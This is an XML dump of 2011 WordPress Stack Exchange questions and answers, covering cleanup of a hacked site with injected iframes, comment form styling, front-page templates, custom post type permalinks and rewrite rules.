  <row Id="19705" PostTypeId="2" ParentId="19696" CreationDate="2011-06-10T15:58:31.167" Score="30" ViewCount="" Body="&lt;p&gt;Have you identified the exploit vector? If not, you may be leaving yourself open to future exploit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things to consider:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change WordPress admin user passwords - &lt;em&gt;done&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change Hosting account user password&lt;/li&gt;&#xA;&lt;li&gt;Change &lt;strong&gt;FTP passwords&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change MySQL db user password - &lt;em&gt;done&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;strong&gt;db table prefix&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Update your &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Security_Keys&quot; rel=&quot;nofollow&quot;&gt;wp-config nonces/salt&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check your &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress#File_permissions&quot; rel=&quot;nofollow&quot;&gt;directory/file permissions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Block directory-browsing access, via &lt;code&gt;.htaccess&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go through everything in the &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;Hardening WordPress&lt;/a&gt; Codex entry&lt;/li&gt;&#xA;&lt;li&gt;Go through everything in the &lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;FAQ My Site Was Hacked&lt;/a&gt; Codex entry&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-24T12:38:02.447" LastActivityDate="2011-07-24T12:38:02.447" CommentCount="7" />
  <row Id="19706" PostTypeId="2" ParentId="19696" CreationDate="2011-06-10T15:58:58.717" Score="2" ViewCount="" Body="&lt;p&gt;Search the database via phpmyadmin for &quot;iframe&quot; or dump the database and search the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And check for invisible users in the users table; I've seen users in the tables that didn't show up in WP Admin&gt;&gt;Users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/clean-options/&quot; rel=&quot;nofollow&quot;&gt;Clean Options « WordPress Plugins&lt;/a&gt; will show what junk from old and possibly vulnerable plugins is left in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your theme is also missing the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag, so I'd check that in case you edited the theme to remove bad links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the usual: and &lt;a href=&quot;http://ottopress.com/2009/hacked-wordpress-backdoors/&quot; rel=&quot;nofollow&quot;&gt;How to find a backdoor in a hacked WordPress&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;Hardening WordPress « WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-06-10T15:58:58.717" />
  <row Id="19707" PostTypeId="2" ParentId="19696" CreationDate="2011-06-10T16:00:32.070" Score="3" ViewCount="" Body="&lt;p&gt;&quot;is there anything else I should check?&quot;&#xA;You need to examine your process, and find out how you were hacked (almost certainly because you didn't patch in time, or correctly) and fix that too, not just the symptoms.&lt;/p&gt;&#xA;" OwnerUserId="6082" LastActivityDate="2011-06-10T16:00:32.070" CommentCount="1" />
  <row Id="19708" PostTypeId="2" ParentId="19696" CreationDate="2011-06-10T16:00:39.593" Score="9" ViewCount="" Body="&lt;p&gt;Looking at the Google Chrome &quot;safe browsing&quot; message, you're getting the &quot;.cc iFrame hack&quot; that seems to be going around a LOT lately. I think 3.1.3 will fix this, but check your index.php file in the root if your site, that's where it kept hitting me until I got EVERYTHING updated and passwords changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some VERY tricky stuff folks can do with post and comment injections. You can run the following queries against your database to help find some of them I blogged the rest of my &quot;tracking&quot; &lt;a href=&quot;http://dillieodigital.wordpress.com/2010/03/15/tracking-down-wordpress-hacks/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM wp_posts WHERE post_content LIKE '%&amp;lt;iframe%'&#xA;UNION&#xA;SELECT * FROM wp_posts WHERE post_content LIKE '%&amp;lt;noscript%'&#xA;UNION&#xA;SELECT * FROM wp_posts WHERE post_content LIKE '%display:%'&#xA;UNION&#xA;SELECT * FROM wp_posts WHERE post_content LIKE '%&amp;lt;?%'&#xA;UNION&#xA;SELECT * FROM wp_posts WHERE post_content LIKE '%&amp;lt;?php%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM wp_comments WHERE comment_content LIKE '%&amp;lt;iframe%'&#xA;UNION&#xA;SELECT * FROM wp_comments WHERE comment_content LIKE '%&amp;lt;noscript%'&#xA;UNION&#xA;SELECT * FROM wp_comments WHERE comment_content LIKE '%display:%'&#xA;UNION&#xA;SELECT * FROM wp_comments WHERE comment_content LIKE '%&amp;lt;?%'&#xA;UNION&#xA;SELECT * FROM wp_comments WHERE comment_content LIKE '%&amp;lt;?php%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="152" LastEditorDisplayName="" LastEditDate="2011-06-10T16:10:19.340" LastActivityDate="2011-06-10T16:10:19.340" CommentCount="3" />
  <row Id="19709" PostTypeId="2" ParentId="19696" CreationDate="2011-06-10T16:01:11.997" Score="1" ViewCount="" Body="&lt;p&gt;That happend to me once, through a leak on mediatemple. I had to write a plugin to check the database for injected links. You can grab it &lt;a href=&quot;https://gist.github.com/1019141&quot; rel=&quot;nofollow&quot;&gt;here as a github gist&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty user friendly, has several steps that deliver feedback and re-checks your database after you're finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-10T16:01:11.997" />
  <row Id="19710" PostTypeId="1" AcceptedAnswerId="19713" CreationDate="2011-06-10T16:01:47.980" Score="1" ViewCount="125" Body="&lt;p&gt;How do I add a class to the comment submit button? The simplified function &#xA;&lt;code&gt;comment_form(array('id_submit'=&amp;gt;'buttonPro'));&lt;/code&gt; obviously only changes the id and &lt;code&gt;class_submit&lt;/code&gt; does not seem to exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read through both &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-theme-tip-the-comment-form/&quot; rel=&quot;nofollow&quot;&gt;Otto's&lt;/a&gt; and &lt;a href=&quot;http://www.slideshare.net/beaulebens/hooking-into-comments-5047868&quot; rel=&quot;nofollow&quot;&gt;Beau's&lt;/a&gt; writeups but to no avail.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-07-09T03:00:25.153" Title="How to add a class to the comment submit button?" Tags="&lt;comments&gt;&lt;comment-form&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="19711" PostTypeId="2" ParentId="19696" CreationDate="2011-06-10T16:10:41.400" Score="5" ViewCount="" Body="&lt;p&gt;Check Google Webmaster tools for two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;verify that your site hasn't been flagged as compromised, and request reconsideration if it has&lt;/li&gt;&#xA;&lt;li&gt;check your site as Googlebot and verify that there's no spam being inserted which is only visible to Googlebot - example of this is the WP Pharma hack&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, I'd re-implement the theme, or check it extremely carefully. A few lines of PHP can redefine core PHP functions so that they extract malicious code from the database, especially the wp_options key / value store tables&lt;/p&gt;&#xA;" OwnerUserId="6085" LastActivityDate="2011-06-10T16:10:41.400" CommentCount="1" />
  <row Id="19712" PostTypeId="2" ParentId="19696" CreationDate="2011-06-10T16:11:06.783" Score="2" ViewCount="" Body="&lt;p&gt;I had a very similar hack I had to fix on one of my client sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was malicious scripts in the filesystem (php base64_decode stuff).  However, the database 'posts' &amp;amp; 'comments' tables had been compromised and the iframe code was scattered through that data as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd at least run a few searches on the DB, just to be safe. :)&lt;/p&gt;&#xA;" OwnerUserId="6086" LastActivityDate="2011-06-10T16:11:06.783" />
  <row Id="19713" PostTypeId="2" ParentId="19710" CreationDate="2011-06-10T16:14:34.050" Score="1" ViewCount="" Body="&lt;p&gt;If you check out the source of the function &lt;code&gt;comment_form()&lt;/code&gt;, you'll see it doesn't even print a class on the input;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;submit&quot; type=&quot;submit&quot; id=&quot;&amp;lt;?php echo esc_attr( $args['id_submit'] ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo esc_attr( $args['label_submit'] ); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm guessing you need to add a class for styling? Why not modify your CSS to just;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input.submit, #buttonPro {&#xA;    /* some awesome style */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise I guess the 'easiest' solution would be to simply copy the function to your &lt;code&gt;functions.php&lt;/code&gt;, rename it, add in a class argument &amp;amp; print, and use that instead - which you can &lt;a href=&quot;http://pastebin.com/PDwAbrQb&quot; rel=&quot;nofollow&quot;&gt;find here&lt;/a&gt; ;)&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-10T16:14:34.050" CommentCount="3" />
  <row Id="19714" PostTypeId="1" AcceptedAnswerId="19718" CreationDate="2011-06-10T16:16:25.033" Score="1" ViewCount="25" Body="&lt;p&gt;I have a home.php file which I am using as my home page and it is showing a specific page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my index.php I have my main timeline. But when I access this page I get redirected to home.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that? To show my main timeline in a differente path then home. &#xA;Something like mysite.com/blog&lt;/p&gt;&#xA;" OwnerUserId="6006" LastActivityDate="2011-06-10T18:27:53.400" Title="Main timeline in a different path" Tags="&lt;homepage&gt;" AnswerCount="1" />
  <row Id="19715" PostTypeId="2" ParentId="19710" CreationDate="2011-06-10T16:37:05.677" Score="1" ViewCount="" Body="&lt;p&gt;Why do you need a class on the submit button? You can give it an ID, as you have discovered, and that's all you need for styling it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;comment_form(array('id_submit'=&amp;gt;'buttonPro'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to style it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input#buttonPro {...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simple. Or, if you prefer to use classes only for some reason:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.form-submit input {...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's no advantage I can see, from any angle, to putting a class on the comment form's submit button.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-10T16:37:05.677" CommentCount="1" />
  <row Id="19717" PostTypeId="1" AcceptedAnswerId="19720" CreationDate="2011-06-10T16:49:34.767" Score="0" ViewCount="196" Body="&lt;p&gt;I know that WP 3.1 has added support for archives for custom post types but is there any way to customize the permalinks for them? &lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-06-10T17:32:47.867" Title="Custom Permalinks for Custom post Type Archives?" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;archive&gt;" AnswerCount="2" />
  <row Id="19718" PostTypeId="2" ParentId="19714" CreationDate="2011-06-10T17:10:24.523" Score="0" ViewCount="" Body="&lt;p&gt;Rename your &lt;code&gt;home.php&lt;/code&gt; template file as &lt;code&gt;front-page.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WordPress parlance, &quot;home&quot; is the &lt;strong&gt;Blog Posts Index&lt;/strong&gt;. The front page of the site is &lt;strong&gt;Front Page&lt;/strong&gt;. Likewise, the &lt;code&gt;home.php&lt;/code&gt; template file corresponds to the &lt;strong&gt;Blog Posts Index&lt;/strong&gt; and the &lt;code&gt;front-page.php&lt;/code&gt; template file corresponds to the &lt;strong&gt;Site Front Page&lt;/strong&gt;, and the &lt;code&gt;is_home()&lt;/code&gt; conditional returns true when on the &lt;strong&gt;Blog Posts Index&lt;/strong&gt; while the &lt;code&gt;is_front_page()&lt;/code&gt; conditional returns true when on the &lt;strong&gt;Site Front Page&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Site Front Page&lt;/strong&gt;: Front Page, &lt;code&gt;front-page.php&lt;/code&gt;, &lt;code&gt;is_front_page()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Blog Posts Index&lt;/strong&gt;: Home, &lt;code&gt;home.php&lt;/code&gt;, &lt;code&gt;is_home()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to setup a static Page as Blog Posts Index:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create two static Pages, with any arbitrary names (we'll call them &quot;Front Page&quot; and &quot;Blog&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Go to: &lt;code&gt;Dashboard -&amp;gt; Settings -&amp;gt; Reading&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set &quot;Front Page Displays&quot; to &quot;Static Page&quot;&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Front Page&quot; in the dropdown for &quot;Front page&quot;&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Blog&quot; in the dropdown for &quot;Posts page&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now (assuming you have configured pretty permalinks at &lt;code&gt;Dashboard -&amp;gt; Settings -&amp;gt; Permalinks&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Front Page URL: &lt;code&gt;www.example.com&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Blog Posts Index URL: &lt;code&gt;www.example.com/blog/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-10T18:27:53.400" LastActivityDate="2011-06-10T18:27:53.400" CommentCount="3" />
  <row Id="19719" PostTypeId="2" ParentId="19701" CreationDate="2011-06-10T17:16:41.257" Score="0" ViewCount="" Body="&lt;p&gt;The default WordPress behavior is to &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11330&quot; rel=&quot;nofollow&quot;&gt;redirect to the Front Page&lt;/a&gt; when an empty search query is submitted.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What Plugins do you have installed/active?&lt;/li&gt;&#xA;&lt;li&gt;What additions have you made to your &lt;code&gt;.htaccess&lt;/code&gt; file?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-10T17:16:41.257" CommentCount="10" />
  <row Id="19720" PostTypeId="2" ParentId="19717" CreationDate="2011-06-10T17:31:56.807" Score="1" ViewCount="" Body="&lt;p&gt;Take an example custom post type called &lt;code&gt;movie&lt;/code&gt; the code below will create custom permalinks &lt;code&gt;awesomemovies/&lt;/code&gt; regardless of the one created by using the has_archive and rewrite options of register_post_type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'rewrite_rules_array', 'custom_permalink_for_my_cpt' );&#xA;function custom_permalink_for_my_cpt( $rules ) {&#xA;    $custom_rules = array();&#xA;    // for archive urls&#xA;    $custom_rules['awesomemovies/?$'] = 'index.php?post_type=movie';&#xA;&#xA;    // for individual post urls e.g: http://blog.com/awesomemovies/post-name/&#xA;    $custom_rules['awesomemovies/([^/]+)/?$'] = 'index.php?post_type=movie&amp;amp;pagename=$matches[1]';&#xA;    return $custom_rules + $rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information see &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Rewrite&quot; rel=&quot;nofollow&quot;&gt;WP_Rewrite&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-10T17:31:56.807" CommentCount="1" />
  <row Id="19721" PostTypeId="2" ParentId="19717" CreationDate="2011-06-10T17:32:47.867" Score="2" ViewCount="" Body="&lt;p&gt;to customize the permalink of the CPT archive? Check this out&#xA;&lt;a href=&quot;http://mark.mcwilliams.me/2010/10/wordpress-3-1-introduces-custom-post-type-archives/&quot; rel=&quot;nofollow&quot;&gt;http://mark.mcwilliams.me/2010/10/wordpress-3-1-introduces-custom-post-type-archives/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically just use the has_archive feature to change the permalink&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'mcw_projects_post_type' );&#xA;&#xA;function mcw_projects_post_type() {&#xA;&#xA;    register_post_type( 'projects', array(&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; __('Projects'),&#xA;            'singular_name' =&amp;gt; __('Project')&#xA;            ),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array(&#xA;            'slug' =&amp;gt; 'project',&#xA;            'with_front' =&amp;gt; false&#xA;            ),&#xA;        'has_archive' =&amp;gt; true&#xA;    ) );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is a way to register a CPT. The has_archive turns on the archive support.  Swap that out like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'has_archive' =&amp;gt; 'projects'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or what have you to adjust the permalink for the CPT archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are you looking for ways to alter the permalinks with teh CPTs in general? Which is done with the rewrite parameter &#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure which part you are trying to do&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-06-10T17:32:47.867" CommentCount="3" />
  <row Id="19722" PostTypeId="1" CreationDate="2011-06-10T17:39:16.220" Score="0" ViewCount="57" Body="&lt;p&gt;All I need is a rewrite that will change &quot;domainXYZ.com/anyphrase&quot; into &quot;domainXYZ.com&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^domainXYZ\.com&#xA;RewriteCond %{SCRIPT_FILENAME} !wp-admin&#xA;RewriteCond %{SCRIPT_FILENAME} !activity&#xA;RewriteCond %{SCRIPT_FILENAME} !members&#xA;RewriteCond %{SCRIPT_FILENAME} !groups&#xA;RewriteRule ^([A-Za-z0-9-]+)/?$ index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes:&#xA;I added the above to the top of my .htaccess (in WP root). I am running WP 3.1.3 multisite (subdomains), WP MU Domain Mapping plugin, and buddypress on domainXYZ.com. domainXYZ.com is the mapped domain name, not the actual subdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was assuming that my rewrite rule would load domainXYZ.com/index.php, which would load the homepage for the wordpress site.  However, I get a &quot;page not found&quot; response shown in my buddypress skin (not a full-blown error 404 page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to anyone who can help,&#xA;Joe&lt;/p&gt;&#xA;" OwnerUserId="6091" LastActivityDate="2011-06-10T17:39:16.220" Title="Need help with simple rewrite rule (should't this be easy?)" Tags="&lt;url-rewriting&gt;&lt;buddypress&gt;&lt;mod-rewrite&gt;&lt;domain-mapping&gt;" />
  <row Id="19723" PostTypeId="2" ParentId="19634" CreationDate="2011-06-10T17:44:59.927" Score="0" ViewCount="" Body="&lt;p&gt;Why do you need a class inside the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;? Are you trying to apply CSS styles to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, why not just use CSS? For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;div[id^=&quot;video-&quot;] {} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...will target any DIV whose ID value starts with &quot;video-&quot;&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-10T17:44:59.927" CommentCount="4" />
  <row Id="19724" PostTypeId="1" CreationDate="2011-06-10T17:47:37.883" Score="1" ViewCount="48" Body="&lt;p&gt;I am looking for a WordPress plugin or helping resource which I can use to build up a eCommerce website for books which has &quot;View Inside&quot; feature, payments to be handled with paypal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heard of anything like that or used something similar? Any ideas how do I go about building an eCommerce site of such scope?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also any theme which will be a good fit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. - I am new to building a eCommerce website with WordPress &amp;amp; a bit confused on which are good platforms to build it. What do you guys use and recommend?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-10T23:52:06.997" Title="WordPress eCommerce plugin for books" Tags="&lt;plugin-recommendation&gt;&lt;plugin-wp-e-commerce&gt;" AnswerCount="3" />
  <row Id="19726" PostTypeId="1" AcceptedAnswerId="19729" CreationDate="2011-06-10T18:02:50.793" Score="1" ViewCount="95" Body="&lt;p&gt;What should I call the archive file for a post format? Ex archive-gallery.php? (doesn't work)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to create a list of all the gallery formats with a preview and some custom taxonomies thrown in.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-10T19:31:52.570" Title="Post Format Archive template name for theme folder?" Tags="&lt;posts&gt;&lt;archive&gt;&lt;post-formats&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="19727" PostTypeId="1" CreationDate="2011-06-10T18:05:37.587" Score="0" ViewCount="12" Body="&lt;p&gt;Does anyone use the VideoPress plugin on a WP.com site?  If so, does the video you upload for that entry appear in the RSS feed?  What info is in the RSS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6094" LastActivityDate="2011-06-10T18:05:37.587" Title="WP.com VideoPress video in RSS?" Tags="&lt;plugins&gt;&lt;wordpress.com&gt;" />
  <row Id="19728" PostTypeId="1" AcceptedAnswerId="19734" CreationDate="2011-06-10T18:20:39.450" Score="0" ViewCount="59" Body="&lt;p&gt;My WP site has 2 custom post types, &quot;Projects&quot; and &quot;People&quot;. There can be unlimited number of &quot;People&quot; per project and I'm thinking about a way to integrate the projects section with &quot;People&quot; section. My first impression was using custom taxonomies. But the problem is, is there a way to set a relationship between these 2? If custom taxonomy is the only way, is there a way to make it so when adding new people custom taxonomy get created as well?&lt;/p&gt;&#xA;" OwnerUserId="6096" LastActivityDate="2011-06-10T19:25:00.883" Title="Custom post type with custom taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="19729" PostTypeId="2" ParentId="19726" CreationDate="2011-06-10T18:25:10.720" Score="2" ViewCount="" Body="&lt;p&gt;Well.... for querying, formats are a taxonomy parameter...so that should work....&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lemme loook...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yep, here's how that works&#xA;&lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Custom_Taxonomies_display&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy#Custom_Taxonomies_display&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;taxonomy-post_format-post-format-link.php&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-06-10T18:25:10.720" CommentCount="2" />
  <row Id="19730" PostTypeId="2" ParentId="19726" CreationDate="2011-06-10T18:34:22.767" Score="0" ViewCount="" Body="&lt;p&gt;You don't need to create a custom template for the archive index for Post Format types. Your existing template files (&lt;code&gt;taxonomy.php&lt;/code&gt;, &lt;code&gt;archive.php&lt;/code&gt;, or &lt;code&gt;index.php&lt;/code&gt;) will display them just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use the following URL structure: &lt;code&gt;www.example.com/type/{format}/&lt;/code&gt;, which for galleries, would be &lt;code&gt;www.example.com/type/gallery/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.chipbennett.net/2011/01/11/using-wordpress-post-formats-as-a-taxonomy/&quot; rel=&quot;nofollow&quot;&gt;See here for a thorough explanation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-10T19:31:52.570" LastActivityDate="2011-06-10T19:31:52.570" CommentCount="3" />
  <row Id="19731" PostTypeId="2" ParentId="19724" CreationDate="2011-06-10T18:35:42.690" Score="0" ViewCount="" Body="&lt;p&gt;Definitely worth a look: &lt;a href=&quot;http://shopplugin.net/&quot; rel=&quot;nofollow&quot;&gt;Shopp&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the rest, like preview etc. could be done with simple built in galleries.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-10T18:35:42.690" />
  <row Id="19732" PostTypeId="1" AcceptedAnswerId="19746" CreationDate="2011-06-10T18:36:25.713" Score="0" ViewCount="220" Body="&lt;p&gt;My source links are something linke this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://sample.com/entertainment/default.aspx?tabid=2305&amp;amp;conid=102950&#xA;http://sample.com/entertainment/default.aspx?tabid=2418&amp;amp;conid=104330&#xA;http://sample.com/entertainment/default.aspx?tabid=2429&amp;amp;conid=104264&#xA;http://sample.com/entertainment/default.aspx?tabid=2305&amp;amp;conid=102949&#xA;.&#xA;.&#xA;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cache content form links.I use wp_insert_post to post cached content from source site to wordpress:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $my_post = array(&#xA;'post_title' =&amp;gt; &quot;$title&quot;,&#xA;'post_content' =&amp;gt; &quot;$content&quot;,&#xA;'post_status' =&amp;gt; 'draft',&#xA;'post_author' =&amp;gt; 1,&#xA;'post_category' =&amp;gt; array(1),&#xA;);&#xA; wp_insert_post( $my_post );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to put each link in custom fields and in the next cache , before post to WP , check new links with links in custom fields. If link is repeated , prevent insert content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my bad description.&lt;/p&gt;&#xA;" OwnerUserId="6097" LastActivityDate="2011-06-10T20:16:14.393" Title="Prevent duplicate posts in wp_insert_post using custom fields" Tags="&lt;posts&gt;&lt;custom-field&gt;&lt;customization&gt;&lt;wp-insert-post&gt;" AnswerCount="2" />
  <row Id="19733" PostTypeId="1" AcceptedAnswerId="19763" CreationDate="2011-06-10T18:43:21.967" Score="3" ViewCount="89" Body="&lt;p&gt;is there any way to easily update a plugin installed on multiple sites from a github repo. I know I can do it from the command line of each server using git pull. but is there a way to do it from the wordpress admin similar to how plugins are updated?&lt;/p&gt;&#xA;" OwnerUserId="4229" LastActivityDate="2011-06-11T04:15:46.533" Title="How can I update a wordpress plugin from a Git repository (github)" Tags="&lt;plugin-development&gt;&lt;git&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
